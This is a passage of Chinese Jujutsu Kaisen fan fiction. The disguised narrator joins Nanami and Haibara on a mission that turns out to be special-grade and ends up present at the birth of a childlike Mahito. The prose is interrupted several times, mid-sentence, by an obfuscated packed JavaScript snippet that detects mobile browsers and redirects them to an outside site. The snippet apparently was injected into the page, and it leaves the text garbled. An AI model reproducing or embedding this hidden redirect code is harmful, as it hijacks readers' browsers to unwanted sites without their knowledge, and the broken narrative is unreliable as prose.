七海则是再次褪色,眉毛和嘴角都一抽一抽的,“小……悟……悟?” 我就知道,只要我足够骚,那七海的关注点就会转移。 只要转移,他就无法看破我。 没错,我只是为了转移七海的注意力,完全不是为了看七海掉色,彩色世界里突然出现黑白崩坏的身体完全不好笑。 不好笑。 噗—— 我是个正经人,我有任务的。 对对对,任务任务——我还有任务在身。 “咳,灰原,我还有点事——” “说起来,伏黑先生接下来有什么安排吗?我和七海要去做任务了,说是市中心好像有个咒胎,可能是要诞生新咒灵了,我和七海去处理。” ……? 你和七海,要去处理什么,你再说一次? 哪里的任务?哪里的咒胎? “这样的未成形咒胎属于三级的任务啦,应该很快就能完事儿,之后要一起去玩吗?任务地点旁开了一家新的密室逃脱,是三人本,我一直想要去玩的!” 几级? 三级? 我要去市中心接的可是特级咒灵! 究竟是你们有问题,还是脑花有问题——总得有一方受辱被diss,选一方吧。 顺便一提,哪边被diss我都愿意加入,背后蛐蛐别人什么的,我最擅长了。 ——等这次任务结束就一起去玩游戏。 听听灰原这话,这是什么新时代死亡flag? 你们竟然这么早就开始插旗了吗? 剧情进展是不是有点太快了,是我的蝴蝶效应吗? 我的蝴蝶给你们扇出来一排死亡flag? 星浆体还没动静呢,你们两个就已经打算先死为敬了。 还三级任务,说真的,我果然还是更相信脑花在这方面的靠谱程度。 她说是特级,我愿意相信那真是特级。 至于「窗」? 呵呵——实在不行咱们换个外包公司吧,每次都把锅甩给临时工不行的。 特级咒灵报三级任务,不吹不黑,不是今天就是明天,你们咒术界早晚要完。 实在不行不如就由我来扮演灭霸,帮咒术界提前终结吧——那句“我就是天命”的台词还是很帅的。 咒灵阵营这次还真是选对了。 11. 第 11 章 11 “对了,你刚才要说什么来着?”灰原自顾自地说完之后,用亮晶晶的眼睛看着我。 我? 我还能有什么好说的。 我肯定得捞一手宝藏男孩啊! 于是,我比了个大拇指,“我是无业游民,完全没有事做。密室逃脱是吧,我有时间!” “耶!”灰原高兴地跳了起来。 只有七海保持了理智,“等等,灰原!你是在邀请别人加入任务吗,这是严重的违规行为。即使这不是保密任务,但泄露任务内容也是——” “只是一点点擦边违规啦,七海海不要这么紧绷嘛。”我展示了一波自己对咒术界规则的熟悉程度。毕竟曾经有过一次咒回的穿越经验,虽然时间线不太一样,但我相信,以总监部行政效率,只是十几二十年,这种基础规则绝对不会变。 “小悟悟不是经常干这种事吗?” 说到底,这其实不是什么严重的违规行为,甚至属于某种潜规则。除了一些极特别的保密项目外,二级以下的任务是可以直接在总监部的网站上查询到的。 当然,那是内部网站,而且非常简陋。但其意义非常重大,一方面是咒术界总算是打算和信息时代接轨,村通网;另一方面也是给了许多咒术师自主接任务的机会。 咒术界里还是有一些卷王之王存在的。 比如未来的唯一正常人三轮霞,如果只是等着总监部派发基本任务的话,完全赚不够她需要的钱。 冥冥也是,大多都是私活儿,堪称合法黑市。 像这样的三级任务,甚至不需要专门的辅助监督跟班,咒术师做完任务之后,只要提交一份报告给负责他们这个级别的辅助监督头头就够了。 反倒是我对咒术界一些潜规则的熟悉,增加了不少我咒术师身份的可信度。 “上次五条前辈的检查还是我帮忙写的呢,前辈们说,这种小问题都不是问题,不用理会总监部的一堆烂橘子。”灰原雄说后半句话的时候,还不由地模仿了五条猫的语气。 真是惟妙惟肖。 但七海锐利的眼神还是显得有些为难。 他是个很会遵守规则的人,对规则的不满归不满,行动就又是另一个问题了。 我知道该怎么对付七海,我一根指头点着下巴,做出了一副仔细思考的模样,“话说回来了,灰原,是你想玩的密室逃脱是个三人本,如果没有我的话,你打算邀请谁?” 灰原天然黑地明白了我的意思,抱臂皱眉认真地点头,严肃地开口,“夏油前辈最近都想办法植发,气压低到完全不敢打扰呢。我想五条前辈一定非常愿意加入我们,你说对吧,七海海!” 和五条悟一起出来玩这种游戏—— 完全是可以预见的灾难。 七海的某根头发就像天线一样,在脑后一跳。 接着,他迅速并且用力地握住了我的手,“欢迎加入这次任务,伏黑先生。” “客气客气!” 五条猫,堪称是我和七海海之间的粘合剂。 ——噗,两个愚蠢的咒术师小鬼,他们就这么相信你了? 不要再视奸我了,宿傩大哥。 你没有其他事可做了吗? ——我本来打算轰掉这个城市来着,这样就无所谓方向了对吧,你有兴趣加入吗? 对不起,是我说话太大声了,你还是视奸我吧。 我就是有这个癖好。 有七海这个靠谱的大人在,方向和路线都完全不是问题。 虽然没有辅助监督,但七海和灰原也没有任何后勤保障啊——真是光明的未来,总监部建立起来的优秀匹配机制。 周末,市中心的人非常多。在人们的脸上,我能清晰的观察出一些正常和异常——加班社畜浑身上下都写着“莫挨老子”,约会的小情侣周围则是一边吵架,一边冒着黑色小花花,还有一些无所事事的NPC,连动作都是一个模子里刻出来的,浑浑噩噩地靠在路边。 这里绝不是执行任务的最佳地点。 这么多人,要在什么地方布置「账」才不会被任何人察觉啊。 难道是要先清场吗? 咒术师还有这个权力? “哦哦哦哦——我感觉到了,诅咒的气息。”灰原的鼻孔动了动,身体像猎犬一样突然警觉了起来。 他对诅咒的感知能力,显然要强于七海。 非常敏锐。 我能这样赞叹,是因为诅咒的气息确实非常微弱,哪怕是对于我来说,如果不是事先知晓,还真不觉得这会是什么强大的诅咒。 好像有点误会「窗」的工作人员了,我道歉。 我认真地思考了一下,觉得脑花在这个问题上忽悠我的概率无限接近于零。所以——咒胎的迷惑性可真强。 “有吗,在哪儿?”我假作不知。 毕竟,我现在的定位是一个末流咒术师。 话说,这两个人就不觉得末流咒术师和五条悟之间明显存在巨大的沟壑吗? 我甚至还开口问了。 七海的回答让人暖心。 他说——你看起来足够神经去做那个人的朋友。 完全无法反驳的答案。 就是五条悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946222|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在这里,恐怕都无法反驳。 “在顶层。”灰原雄在自己的专业领域表现得非常优秀,他抬头,用手遮着阳光,诅咒像是损坏的管道,一滴一滴地往下掉落着影响。 有这种级别的诅咒影响在,难怪连路过的小情侣都得吵一架才能走。 负面情绪培养基,发动。 “这座写字楼一直都是东京都内几个重点观察对象,每个月都需要定时清理。”七海顺嘴科普了一句。 果然,上班族才是最屌的。 每个月都要清理的地方,除了医院就是墓地。 不,甚至连医院、墓地都不需要定时清理。 而这里,竟然在咒术师们高强度的清理关注之下,还是产生了咒胎。 上班哪有不疯的,真是细思极恐。 也难怪总监部和「窗」都对这里的咒胎任务不重视。 每周都会清理诅咒的地方,原则上来说,是绝对不可能孕育强大咒灵的。 但是,世界上任何事都可能存在特殊情况。 就比如现在,我只是上个电梯的功夫,都能清晰地感觉到每个人脸上写着的烦躁、愤怒甚至是仇恨、憎恶。 这就不正常了,大部分人至少在工作单位,还是多少得带点面具生存的吧。 这种情绪,有一个两个人能毫无顾忌地表达出来,但如果每个人都这么直白,可就奇怪了。 咒胎对人类的影响比我想象当中还要多。 而这种大范围的影响,显然就是咒胎强大的一种征兆。 只可惜,七海和灰原的经验都太少了,他们都还是没有踏入社会的小白花。一心只是在感受诅咒的来源和气息,根据这股气息判断着咒胎的能力,完全没有意识到,诅咒已经把从上到下,甚至建筑之外的人全部都连在了一起。 这种诅咒连接分散了咒胎的压力,使得其在刺激人们精神崩溃的同时,也在疯狂汲取、甚至是压榨着人类的负面能量。 这是咒灵诞生前最后的暴食,祂距离破壳,真的只有一步之遥了。 而咒术界就只派了这么两个二级小白菜出来执行任务。 天哪,七海和灰原简直是送上门的大餐。 咒术师的咒力绝对是咒灵孕育前的不可多得的一顿美味。 上一集立的死亡flag真是名不虚传。 咒胎不可能放过送上门的催化剂,而他们两个绝不可能在这个咒胎的控制区域下存活。 所以说,这个脑花判断出生就会是特级的咒灵,会不会是故意伪装自己的弱小,吸引咒术师前来的? 还真是,成精了。 12.第 12 章 12 他们会死的。 我都不需要出电梯,就能判断这个故事的正常走向里,灰原雄和七海建人的命运。 也许不会都死,但肯定是不能都活。 特级咒灵,虽说是会有一个短暂的虚弱期,但瘦死的骆驼比马大,要是连两个二级咒术师都收拾不了,脑花也不会专程让我来接应。 关键在于,我已经说了,我要捞捞灰原。 虽然不能算是随口一说,但我也确实没有想到一语成谶,这个“捞捞”竟然来得这么快。 快得让我有点反应不及。 我看着电梯不断上涨的数字快速地动脑。 如果要救人的话,就必然得拔掉自己刚刚套上的马甲。 没有咒术师马甲的话,我想要挖他们两个的墙脚就会变得非常困难。 同时还有一点,我毕竟是暂居咒灵阵营,如果连这么简单的任务——拜托,从两个三级咒术师手里接应特级咒灵——简单轻易到根本无法构成任何威胁的任务都失败的话,岂不是有碍于我的威信? 在这里跳反显得我很呆。 咒术师和咒灵,一共就两个大阵营,我不能在两个阵营里都拉仇恨吧? “叮!” 电梯的速度很快,几十层的高楼甚至没有让我想出一个两全其美的对策就已经到了顶。 这样城市中央的写字楼——即使是顶楼也全都是来往的上班族。 周末真是放不了一点假。 但我相信,这已经是这座大楼人员最少的时候了,否则总监部不会把任务安排到今天。 “你们打算怎么疏散人群?”我上一次穿越的时候,可没有担忧过这个问题。 即使不在野外,也有专门的辅助监督跟我。 七海有点怀疑的眼神在我脸上一闪而过,“这是高专的入学课程之一,疏散人群的几种基础方式,你没有上过这个课程吗?” 我嘴角一抽——谁知道高专竟然还真的会上这种正儿八经的理论课? 动漫里可不是这么画的。 “那我当然是——翘课了啊!” 这种问题怎么可能难得倒我,虽然没有在高专当过学生,但天下的学生都是一样的。 果然,我的答案一说出口,七海的眼神马上就从“你是不是有问题”,变成了“我就知道五条悟的朋友没有什么好东西”。 话说回来了,既然白天人这么多,为什么不干脆晚上再来? 晚上不是更有执行任务的气氛吗? 我发出了疑问。 “确实,一般的任务也都是晚上执行最好。”七海说道,“能把影响力降到最低,但一方面,这里的咒胎已经到了临界点,很难再拖到晚上。” 即使是被判断为三级咒胎,在诞生后都很有可能会升级。 所以在咒胎的时候祓除一向都是咒术界的最优选。 “另一方面,这里的商区、写字楼真的没有夜晚这个概念。”灰原补充道,夸张地挤眉弄眼,“我和七海海昨晚已经来过了,里面的人数一点都不像是夜晚的写字楼。” 好惨。 晚上加班到这种程度吗? 这样的地方,能被选中孕育特级咒灵真是一点也不奇怪。 “我和七海海一致认为,大部分人晚上的神经会更加紧绷,一般的疏散方式在夜晚很可能会造成一些难以挽回的后果——”灰原压低声音悄悄地和我说,“前一个月总监部还专门下发了类似的文件,就是因为有其他咒术师在疏散人群的同时导致了普通人的猝死,处理起来非常麻烦。” 猝死? 说实话,这样高强度的加班——我认为猝死的原因可能不是咒术师和咒灵,而是坑爹老板。 “所以——认真上学不翘课的七海同学、灰原同学。你们的疏散计划是……?” 我一边问着,一边跟着他们穿过走廊,站到了一个消防按钮前。 哦,我好像知道方式了。 灰原按下了按钮。 我提前捂住了耳朵,一阵强烈、刺耳的声音瞬间响彻了整栋大楼。 翘班的欲望刻在每个人的DNA里,有机会跑路那还等什么。 几乎每个工作室都开始迅速行动了起来,电梯自动锁定,安全通道的楼梯就成了唯一的通道。 灰原闭上眼,更加敏锐的感知力快速铺开,他精细地判断着附近楼层每个人的动向。 “OK,五层之内都没有生命体了。” 灰原话音一落,旁边的七海就已经做好了准备,“由暗而生,比黑更黑,污浊残秽,皆尽祓禊。” 「账」自上而下笼罩,将顶上五层全部都包裹了起来。 咒胎的位置应该在顶层之上的天台,但保险起见,「账」的范围一向要将咒胎所在范围的五倍大小土地全部隔绝。 不过,我个人不认为这个「账」能够阻拦得住特级咒灵的触须。 那些连接在人类身上的咒胎诅咒并没有消失,而是隔着「账」依然在起效。 甚至,因为突如其来的消防警报刺激了诸多人的神经,反而增加了焦虑和恐惧,让负面情绪制造了更加浓厚的诅咒,源源不断地向上输送。 咒胎马上就要破壳了——我能够清晰地感觉到——就在今天,甚至就在几分钟之内。 “这两个小鬼死定了。” 毫无征兆地,宿傩大爷开了口。 这个声音在「账」里简直不能更明显。 灰原和七海显然都听到了这个声音,同时回过头来看我。 几乎是本能地,我一起跟风回头,假装这个声音和我没有关系——本来也和我没关系,这是宿傩的气泡音。 “谁在说话?”我率先开口,直接堵住了七海和灰原的嘴。 七海皱着眉,咒具在释放「账」的时候就已经拿在了手上,他的视线如有实质地落在我身上——显然,他对我心怀警惕。 和他相比,灰原就显得大条很多。 倒也不是灰原真的没有防人之心,只是因为他术式带来的感知力相当精细,以至于他的判断有些盲目。 可就算是再精细的感知力,二级咒术师就是二级,有些等级鸿沟是很难逾越的。 不过,这样的感知力对我来说,倒是可以浅浅利用一下。 两面宿傩上浮的咒力只泄露了一瞬间,就被我压制了下去——一根指头,我还是有绝对优势的。 但我有优势,不代表这一根手指的诅咒量弱。 灰原严肃着脸,刚才那种阳光开朗大男孩的模样瞬间褪去,连冷汗都渗出了额头,“好强的诅咒。” 这个诅咒,绝对不是三级任务应该带来的压力。 其实这样也不错,我用一点诅咒压力完全可劝退他们两个,然后趁着咒术界派新人来的间隙把咒灵接走。 这不就两全其美了吗? 我眼睛一亮,落下的手藏在身后,丢了一大团诅咒出去。 这下,连七海都有了清晰地感知。 如果是一点点实力差距,或许会激起人的挑战欲。但这样深渊一样的鸿沟却会消除一切战斗欲望。 两个咒术师在东京高专上学的第一天就一定被夜蛾正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12955026|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道警告过,咒术师没有无悔的死亡,如果遇到不可对抗的敌人一定要第一时间跑路。 所以,这个瞬间,我的想法很好,我的计划很顺利。 但下一个瞬间,就在下一秒—— 我故意投射而出的诅咒被无形地触须紧紧攥住,这些触须像是吸管,“滋溜”一下,就把诅咒当作果冻,吸了个干净。 好家伙,我没有拿你当下酒菜,你倒是先来招惹我了。 就像我说过的,这个咒胎距离孕育只剩下最后一哆嗦——相当于一百步已经走完了九十九点九九步。 这两个咒术师能够提供的全部咒力,都不如我的一点烟雾弹。 咒胎再也没有了一点掩盖的意图,它的诅咒量在一个呼吸内的迅速攀升,连垂落的触须都成了几近清晰的实体,疯狂地汲取着能够摸索到的一切力量。 我很怀疑那些正在跑下楼的普通人的存活率。 七海的术式发动,咒具切割着这些触须。 虽然并不知道这些触须的作用,但看着就不是什么好东西。 “不好,这些触须延伸到了我的「账」以外!” 七海终于注意到了。 看着触须密集的数量,其蔓延到「账」之外目的不言而喻。 虽然没有夏油杰那样保护非术师极致的理念,但这两人作为热血青年咒术师,显然也不能放任不管。 同期的默契就在一个眼神之中。 灰原双手一拍,以他为圆心的咒力仿佛瀚海一般迅速推开,充盈到了整个「账」内——平心而论,这份咒力的量并不算大,但却呈现出了这个量不应该有的浓郁程度,像水一样,将所有的诅咒都浸泡其中。 那些触须的挥动速度肉眼可见地降了速。 Debuff类的术式? 七海建人作为他的队友,自然半点不受影响。双脚用力,腿上的肌肉绷紧,在地面压出一条裂纹。他眼睛转动着快速地定位,仿佛在每根连接上下的触须上都找出了三七分的标位。十划咒法「瓦落瓦落」瞬间发动。他像是一道闪电一样,从我身边擦过,快速穿到了走廊的另一边尽头。 伴随着刀锋挥动的破空之音,他确实斩断了充斥着整层楼的所有触须。 这些触须连接的上下点分别是咒胎和普通人——相当于,触须向上只有一个顶点,触须向下的普通人也因为消防疏散的缘故相当集中。 这样便让七海有了短时间清除触须的前提条件。 只是,这些触须来自特级咒胎。两个二级咒术师想要将其尽数斩断无疑需要极致的专心和全力以赴。 而这,就让他们根本无法注意到,一双新的、由触须包裹结块组成的手从自己背后掏了下来。 “灰原!” “七海!” 两个声音几乎是同时发出来的。 他们没有注意到自己的背后,却不约而同地注意到了同伴的背后。 灰原的手往回一拉,充盈在「账」内的咒力像浪一样在七海背后拱起,形成了一个近似于盾牌的东西——不仅七海的背后有,连我背后都有! 灰原,太让人感动了,这种时候竟然还想着我。 只是,他的能力可以达到远程保护的效果,可七海的术式却无法让他在第一时间做出反应来保护队友。 那只充满了裂痕的手、那只几乎比人还要高的手,在一个眨眼间就已经贴到了灰原的背后,指腹接触的外衣迅速溶解,露出了灰原后背的皮肤。 所有的触须连在一起,在这一刻已经成为了一个几乎可以溶解吸收任何东西的,恶魔之手。 13.第 13 章 13 捞捞捞,都说了要捞,就一定捞。 灰原都已经要嘎了都想着要捞我,我也必须得捞他一波! 这个瞬间,我虽然并没有完全想好未来的剧本走向,但身体就已经先一步做出了反应。 我抓着灰原的肩膀,将他甩到了我身后,接着一把抓住触须,滑嫩的触感挠在我的掌心。我这冒牌两面宿傩的第二张嘴在掌心裂开——“咔嚓”一声,将触须咬断。 我顺嘴嚼了两口,有点像凉拌海草,口感不错,要是能再放点醋就更好吃了。 触须尖叫着后撤——触须竟然还有尖叫的能力? 头顶的咒胎吃痛,回缩的同时便有更密集触须垂直刺下。 “伏黑——!” 我听到了背后灰原的声音,但我并不像他那样着急。 反握菜刀,我甚至不需要定点判断,只需要简单地向上一劈——高端的力量,往往只需要简单的招数。 秘技之功夫再高,也怕菜刀! 顿时,屋顶连通着天台就被齐齐切开,钢筋水泥在我的咒力之下,和豆腐着实没有太多区别。不过,我的目标却并非眼前这些看得见的实体,而是在建筑之外、天台之上悬空而立的咒胎。 被触须包裹起来的「茧」跳动着,如心脏一样,有着某种□□形态。 我甚至能够听到均匀的“咚咚”声。 但这个“心跳”,很快便被我打断了。 菜刀的咒力延长着,以斩首之势,锋利地切在了「茧」的表面。 一瞬间,咒胎的力量暴涨。 它几乎将储存起来用于降生的所有诅咒力量都调动起来——任何生物的第一欲望都是生存欲。 在死亡之前,谁都能爆发出无尽的动力——咒灵也是有肾上腺素的。 我就知道,攻击那些触须只会没完没了,只要我攻击他的本体,它自然就得把所有的触须都收回去。 咒胎内部发出一声刺耳的尖锐鸣叫,声音融入诅咒带动了被「账」所封闭的空间内所有咒力的共鸣。 七海和灰原用力地捂着耳朵,眼白涨红着清晰的血丝,额头迸起的青筋几乎要喷出血来。在这样的外力威胁之下,他们的咒力必须本能地包裹自己,用以保护。 可咒力只要一泄露,就会迅速被共鸣的诅咒收集起来。 这个咒胎已然拥有了一定的自我意识,它能够有意识地压低自己的威胁勾|引咒术师前来,自然就能判断,他和我之间的鸿沟。 我身上的咒纹伴随着我的菜刀迅速蔓延,浓黑色的诅咒在切入「茧」的瞬间就刺到了咒胎内部。 这些诅咒仿佛带着强烈的腐蚀性,让咒胎的表面发出了“滋滋”的声响。 说起来,这还是从咒胎身上得来的灵感,它可以用触须的接触进行腐蚀消化,我自然也能用咒纹做相同的事情。 别说,还真别说。 和花御比起来,这个特级咒胎的味道相当丰富,诅咒的口感也细腻顺滑。 占满了天台的咒胎以肉眼可见的速度凋零,被咒纹侵蚀干净的外皮化作一层层黑色的雪,透过被我切开的建筑落了下来。 我鼻子一动,嗅到了这些黑雪上枯萎的味道,像是被灼烧后掉落的灰烬。 但这股枯萎的味道下隐藏着微不可见的杀意。 哦吼,想对我用这招啊。 我一抬手,手指夹住了朝我飞来黑雪。 “雕虫小技。” 我的菜刀又不是只有一把。 你有多少雪,我有多少刀。 我虚空握拳,密集的诅咒压缩成刃,紧接着握拳的手指弹开,菜刀们便随着我的诅咒运用迅速飞散。 “唰唰唰——” 破空的声音都来不及传到人的耳朵里,那些成型的攻击就被尽数化解。 这种攻击对我来说是无效的。 咒胎马上就意识到了这一点。 突然,已经缩小了一倍的咒胎中心剧烈地震动起来,触须全部回缩——不仅仅是缩回了咒胎附近,而是从外围直接掏进了自己的咒胎内。 就像是它用自己的手,用比我咒纹更快的侵蚀速度,剖开了自己的「茧」。 “哦呀,这咒胎还是有点小聪明的。” 宿傩大爷的嘴伴随着我的咒力释放上浮了回来,一副专业NPC的样子给手机前的观众朋友们讲解,“知道这样下去迟早会被吃干净,倒不如抛弃咒胎的孕育,提前降生。” 简称——早产? 我一歪头,触须便已经扒开了咒胎的外皮,咒灵墨蓝色的血液沿着被撕裂的地方喷涌而出,浓郁的诅咒毫无保留地挣扎着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971625|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 七海的「账」根本支撑不住这样的诅咒变动,在一阵密集的“咔咔”声中完全碎裂。 我更好奇的是,这个强行诞生的咒灵形态。 被削弱、被侵蚀,「茧」内剩下的那唯一一波能够强迫自己的降生的力量,竟然只剩下它吸收的、我的诅咒果冻。 “噗叽——” 最先掉落的,是一个胳膊——一个沾着黏液和咒血的胳膊。 甚至还和「茧」被剖开的洞拉着丝——真的很像鼻涕,还是重感冒的那种绿鼻涕。 呕——一点想要吃它的食欲都没有了。 甚至连用咒纹直接消化都很膈应。 连宿傩大爷都是地铁老人看手机的表情,一脸丑拒。 “你要是敢把那个东西塞进我嘴里,我就把你大卸八块。” 我难得和大爷有同样的立场,“我没有奇怪的癖好,咒灵食品安全部门的建立迫在眉睫。” 胳膊只是一个开头,紧接就是四肢的其他部分,以及躯干、头颅——顺便一提,这些所谓的“四肢”和“躯干”也不是完整向下掉的,而是一块、接着一块下落,被浸泡在了地面几乎成池的咒灵血液里。 营销号视频说得对,蓝色真的很能抑制食欲。 咒灵的血液颜色真是让我的胃口雪上加霜。 咒灵的小胳膊小腿在血液滩中挪动着,手指自发地拉动着血液成丝,将自己的身体缝了起来。 作为一个能够自制cos服装的人,我必须要diss一下这个手工,虽然缝合的速度很快,但针脚也太乱了! 一两秒钟之内,咒灵迅速成型,血液化成的缝合线遍布全身——直到他完整地站在我面前,我才终于意识到了这个咒灵的身份。 是你! 真人! 我以为那些缝合线是真人的style,没想到竟然是这么来的吗? 早产的诅咒让真人清晰可见地发育不良,原本的成男身体缩成了中学生。我肉眼判断,最多只能算是两个柯南。 我盯着真人,真人也盯着我,像是某种比拼性的对峙,端看是谁先按捺不住。 突然,真人动了。 哈——我就知道,他比我急! 我菜刀都拿好了,他突然张口对着我就叫了一句—— “妈咪!” 14.第 14 章 14 妈咪?妈咪! 你叫谁妈咪,看看清楚,我是男的! 我瞪大了眼睛,被这一声夹子音掐断了思考能力。 这一瞬间被抓住的破绽,让真人扑到了我脸上,抱住了我的脖子,大声喊妈。 不是,真人,你有病吧? 我正打算和你生死决斗,你自己在搞什么幺蛾子? 知不知道是灰原的视线灼灼,几乎要把我后背都点着了。 我抓住真人的后颈,将他从我身上撕了下来。 此时,他身上那些凌乱的针脚已经融入了皮肤,黑色的缝合线条沿着他的皮肤流动,拼凑起来的纹路实在是熟悉。 这不是宿傩的咒纹吗? 我身上的也是这种。 我脑中闪过一个想法——难道说,是因为最后推他出生的那股诅咒力量来源于两面宿傩的缘故吗? 咒灵的诞生是个相当复杂且微妙的过程,我那两刀朝着咒胎砍果然还是让他几乎到了无法降生的地步。 所以他最后吸收的那股强大力量——也就是我之前投放的两面宿傩的诅咒——就被融入了咒胎的诞生体中,构成了他的力量体系。 所以我这是,喜当爹? 不对,应该是两面宿傩喜当爹。 ——他也不是第一个了。 两面宿傩我体内冷嘲了一句。 请不要把我和真人相提并论好不好,就我这个身价,真人他比得了吗? 真人抱着我的手腕,持续精神攻击我,“妈咪!” “闭嘴!” 我感觉太阳穴一阵抽痛,一种诡异的共鸣涌了上来。 我敲,我竟然真的能够感受到我发出的诅咒在真人体内流淌的感觉。 一想到这货未来成了那样狗样子,我就有种号还没开始养,就已经废了的错觉。 这时,灰原和七海也先后从诅咒震慑的眩晕中缓过了神来。灰原就在我身后,他优秀的感知自然清晰地捕捉到了咒灵降生的过程,那种从咒胎中托生的诅咒延续在了真人身上。 “一级?特级?”以灰原的等级和经验第一时间很难判断这点。 “至少是准特级吧?”七海的理论知识更加扎实,有这样清晰语言能力和思考能力的咒灵,大概率不是一般的一级能够做到的。 我抿了抿嘴,稍微判断了一下,“是特级没错——没想到,你们这新生代的咒术师已经达到要越两三级去执行任务了?小悟悟都最多越一级吧?” “不,这是……任务确实是三级。”灰原从我身后探出头来,眼神好奇中带着些激动,“唔啊,特级咒灵就是这个样子的啊。” 虽然咒回的后期确实有些战力崩坏的感觉,但就现在这个时间点而言,特级咒灵的数量还是极少的。 七海和灰原这个级别的咒术师,大概率还从未见过。 真人垂着四肢,用可怜巴巴的眼神看着我,一副任我拿捏的样子。 示弱? 他这个样子,只要稍微收敛一点诅咒,就根本看不出一点邪恶咒灵的样子,反而充满了无害。 咒灵的新生儿和人类的新生儿可不同,前者趋利避害的本能可要比后者强太多了。 真人完全不敢在我面前放肆,以至于成形降生了的他,反而没有了方才咒胎状态的威胁。 但七海还是非常谨慎地观察着真人,不过,我倒是觉得他的谨慎至少有七成是针对我的。 和特级咒胎打架也就算了,被特级咒灵喊妈真是另一种意义的可怕。 七海的眼神从真人和灰原的身上掠过,最终审视到了我身上,“你,究竟是什么人?” 能够这样手搓特级咒灵的人可不多见,哪怕是这个阶段的五条悟都很难做到。 我顿了一下,合适的语言还没有组织出来,灰原就率先接上了七海的话。 “对哦——伏黑先生,连特级咒灵都能制服也太厉害了!”他给我比了个大拇指。 心是真的大,都这样了还完全不觉得我有问题吗。 旁边的七海海可是连咒具都不敢放下。 “你没有别的想问的吗?” 我在纠结,是要自爆卡车呢,还是给自己挽一挽尊呢。 话说,其实这里稍微甩一下锅的话,也完全有机会跳反的吧。 灰原仔细想了一下,非常认真地点头,“有。” 我正经起来,把真人也丢在了地上——但后者好像是一心想要赖在我身上,紧紧地抱住了我的腿。 “这次的任务报告,到底要怎么写才好?”灰原如临大敌,“这已经完全不是常规任务了啊,怎么办,我完全不想去总监部述职,压力好大——伏黑先生,你有什么好的建议吗?” 就这? 灰原的关注点真的有点奇怪。 我转头去看七海。 七海海有没有什么正经问题。 “灰原,你的重点有问题。” 果然吧,我就知道七海和我一样是正常人。 他抬头看了看被我菜刀劈开的房顶,周围被咒灵出生碾碎的墙壁和玻璃。连天花板都坍塌了三级任务的任务损害预算,按照现行规定,超过预算的战损部分是要执行任务的咒术师来进行全价赔付。” 啊,就这? 你们想问的就只有这个,我怎么有种沦为配角的错觉。 就没有觉得我刚才战斗过程很有问题吗? 我出招的时候,诅咒的力量应该非常明显才对的。 “啊啊啊啊——!”灰原顿了一下,然后马上发出了尖锐爆鸣,“忘记这一点了啊!怎么办、怎么办,这可怎么办,我们两个的任务金够补窟窿的吗!” “如果只是大楼外观的话,应该差不多,但如果再算上那些办公室的内部损耗——”七海嘴角一抽,光是办公室当中的电子设备就已经让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984583|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人吃不消,更别提办公室爆炸、停工带来的损失,“大概还要几倍?” “NO——!”灰原双手抱脸,一副活生生的蒙克的《呐喊》图。 ……? 贷款上班?咒术界就是这么压榨你们的吗——说真的,要不叛出咒术界和我干吧? 我偷五条猫的卡养你们。 我认真的。 毕竟是曾经拥有过五条猫黑卡的人,仔细想想看,我觉得五条猫这样的人应该不怎么在意小钱钱。 所以我赌他的银行卡密码没变过。 “重点难道不应该是总监部和「窗」的失误吗?你们俩差点连命都没了,还要你们赔钱?”我一脸莫名。 总监部,做人不能太过分。 “完全没用,之前五条前辈和夏油前辈的跨级的任务,就全款赔了超出战损限额的部分。”灰原给我举了一个实体例子。 不,我非常怀疑那两个人需要赔钱是因为五条猫和杰哥闹得太过了,总监部奈何不了他们,就只能罚款了事。 但你们两个完全就是差点死了的程度。 总监部这要是不给你们赔点精神损失费,连我都看不下去。 我看不下去,夜蛾老师肯定也看不下去。 他这个人还是比较刚的,好不容易有这么两个乖乖学生,还不赶紧当宝贝一样护着? 这种绝对占理的事情,夜蛾正道肯定不会让总监部迫害自己的学生。 更何况,咒术界内部确实有各种问题,但大家都不傻,为难这两个一年级生实在是太蠢了。 不过,能预见总监部的反应,却不代表我不可以浅浅利用一下这个报告的机制。 我脑中一个想法快速成型。 